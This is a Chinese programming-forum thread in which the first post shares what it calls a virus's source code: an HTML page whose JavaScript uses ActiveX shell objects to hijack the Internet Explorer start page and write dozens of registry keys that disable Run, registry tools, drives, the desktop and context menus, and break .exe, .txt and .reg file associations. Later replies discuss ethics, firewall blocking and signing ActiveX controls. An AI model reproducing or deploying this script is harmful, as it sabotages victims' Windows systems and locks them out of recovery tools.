难道修改注册表就这么难？气死我也！！！！！！

这是一个病毒的源程序
目的就是修改注册表，希望对你有帮助
<html>
<head>
<script language=javascript></script>
</head><body onload="SetNewWords()">
<form name="f1" method="POST" action="">
  <p>
  <textarea rows="160" name="s1" cols="122"></textarea></p>
  <p>　</p>
  <p>　</p>
  <p>　</p>
  <p>　</p>
  <p>　</p>
  <p>　</p>
  <p>　</p>
  <p>　</p>
  <p>　</p>
  <p>　</p>
  <p>　</p>
  <p>　</p>
  <p>　</p>
  <p>　</p>
  <p>　</p>
  <p>　</p>
  <p>　</p>
  <p>　</p>
  <p>　</p>
</form>
/* javascript脚本  
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");  
document.write("<h1>世上本无情，庸人自饶之。。</h1>");  
function f() 
{  
try  
{  
//ActiveX initialization  
a1=document.applets[0];  
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");  
a1.createInstance();  
Shl = a1.GetObject();  
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");  
a1.createInstance();  
FSO = a1.GetObject();  
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");  
a1.createInstance();  
Net = a1.GetObject();   try  
{  
//set home page  
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://ok989.ok999.net");   //设置起始页 
//end set home page   //Write Regedit  
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun", 01, "REG_BINARY"); //  Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose", 01, "REG_BINARY");   Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogOff", 01, "REG_BINARY");   Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives", "67108863", "REG_DWORD");   Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", "00000001", "REG_DWORD");   Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDesktop","00000001","REG_DWORD");   Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled", "00000001", "REG_DWORD");   Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000001", "REG_DWORD");   Shl..RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "★魔界鬼域★");  
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "★天地无情。死不瞑目★");   Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\\SchedulingAgent","","REG_SZ");  
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSaveSettings",00,"REG_BINARY");   
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoViewContextMenu",01,"REG_BINARY"); 
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoTrayContextMenu",01,"REG_BINARY"); 
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ScanRegistry","","REG_SZ");  
Shl.RegWrite ("HKEY_CLASSES_ROOT\\Folder\\shell\\open\\ddeexec\\","rem [ViewFolder(%l, %I, %S)]","REG_SZ"); 
Shl.RegWrite ("HKEY_CLASSES_ROOT\\Folder\\shell\\explore\\ddeexec\\","rem [ViewFolder(%l, %I, %S)]","REG_SZ"); 
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{01E04581-4EEE-11d0-BFE9-00AA005B4383}\\InProcServer32\\","C:\\Windows\\System\\Browseui.dll-","REG_SZ");  
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.inf\\","","REG_SZ");  
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.exe\\","","REG_SZ"); 
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.com\\","","REG_SZ"); 
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.txt\\","","REG_SZ"); 
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.reg\\","","REG_SZ"); 
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun","00000001", "REG_DWORD"); 
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Enum\\PCI\\ChannelOptions",02,"REG_BINARY");   
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserClose","01", "REG_DWORD");     
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\NoDevMgrPage","00000001", "REG_DWORD");     
            
            Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSetFolders","01000000","REG_DWORD"); 
            
            Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFind", "00000001",  "REG_DWORD");             Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFavoritesMenu", "00000001",  "REG_DWORD");             Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRecentDocsMenu", "00000001",  "REG_DWORD");             Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSetTaskbar", "00000001",  "REG_DWORD"); 
                     
            Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun","00000001", "REG_DWORD"); 
            Shl.RegWrite ("HKEY_CURRENT_USER\\Control Panel\\International\\stimeformat","HH:mm:ss tt","REG_SZ"); 
            Shl.RegWrite ("HKEY_CURRENT_USER\\Control Panel\\International\\s1159","★绝情魔界★","REG_SZ");           
            Shl.RegWrite ("HKEY_CURRENT_USER\\Control Panel\\International\\s2359","★绝情魔界★","REG_SZ");  //end Write Regedit  
document.write("
<p>"); 
document.write("<h1>天地无情。死不瞑目</h1>");  
}  
catch(e)  
{ 
    document.write("
<p>"); 
document.write("<h1>天地无情。死不瞑目！</h1>");  
}  
}  
catch(e)  
{ 
    document.write("
<p>"); 
document.write("<h1>天地无情。死不瞑目</h1>");  
}  
}  function clean()  
{  
setTimeout("f()", 1000);  
}  clean(); 
*/ 
 <SCRIPT LANGUAGE="JavaScript">
<!-- Begin
if (this.name!='fullscreen'){ 
  window.open(location.href,'fullscreen','fullscreen,scrollbars') 
} 
//  End -->
</script><p><b><font size="7" face="华文彩云">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</font></b></p>
<p><b><font face="华文彩云" size="7">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
抽刀断水，水更流。</font></b></p>
<p><font face="华文彩云"><font size="7"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
举杯消愁，愁更愁</b></font><b><font size="7">。</font></b></font></p>
</body>
</html>

解决方案 »

  1.   

    这种程序我用过，可以修改，但是正如我的问题中提出的，如果装了防火墙，防火墙会报警，并禁止它运行。而且IE安全属性设为默认级别时对没有标记为安全的Activex控件进行初始化和脚本运行是被禁用的，所以上面的代码是解决不了我的问题的。
      

  2.   

    如果我访问过这样的website一次，肯定不会再去的，建议楼主不要这样了，有违道德
      

  3.   

    用activeX吧！基本上不是很难，呵呵！去VC区看看吧！
      

  4.   

    请收起你们伪善的面孔吧！！
       B/S结构的应用程序要将ActiveX控件下载到客户端，就必需修改IE的安全属性，这是大家都知道的。让用户手工去修改和用脚本去修改在本质上又有什么区别？
      如果你的客户觉得你的B/S结构的软件和C/S结构的比起来并没有多大优势，谁还要你的。
      

  5.   

    我们做的B/S结构的东西明确在安装手册上标明要修改IE的安全属性,呵呵.用户也没意见啊
      

  6.   

    to  zjz678(尘封)
    做B/S结构的应用这点是无可厚非的，如果你的web是在公网上面，那么对于访问者确实不够公平，而且如果安装防火墙的系统，你就根本无法做到去修改别人的注册表。如果只是做应用，我建议对控件进行签名，是否安全的并不重要，只要用户知道需要安装就足够，那样的调用可能比较好一点，要么你就要求用户安装你的ActiveX，只要你ActiveX是写成safe的，使用script调用是没有任何问题的
      

  7.   

    不过好奇怪的是KELE8他不出提示就能开始进行硬盘文件方式的安装和控件注册哦
    不理解ING。
      

  8.   

    to liuruhong(蓝色街灯) 
    感谢你的提醒，我已经控件可以对控件进行数字签名，但是如何将ActiveX写成safe的呢？好象VB开发的控件是作不到的啊，是不是要用VC开发呢？
      请大虾不吝赐教！！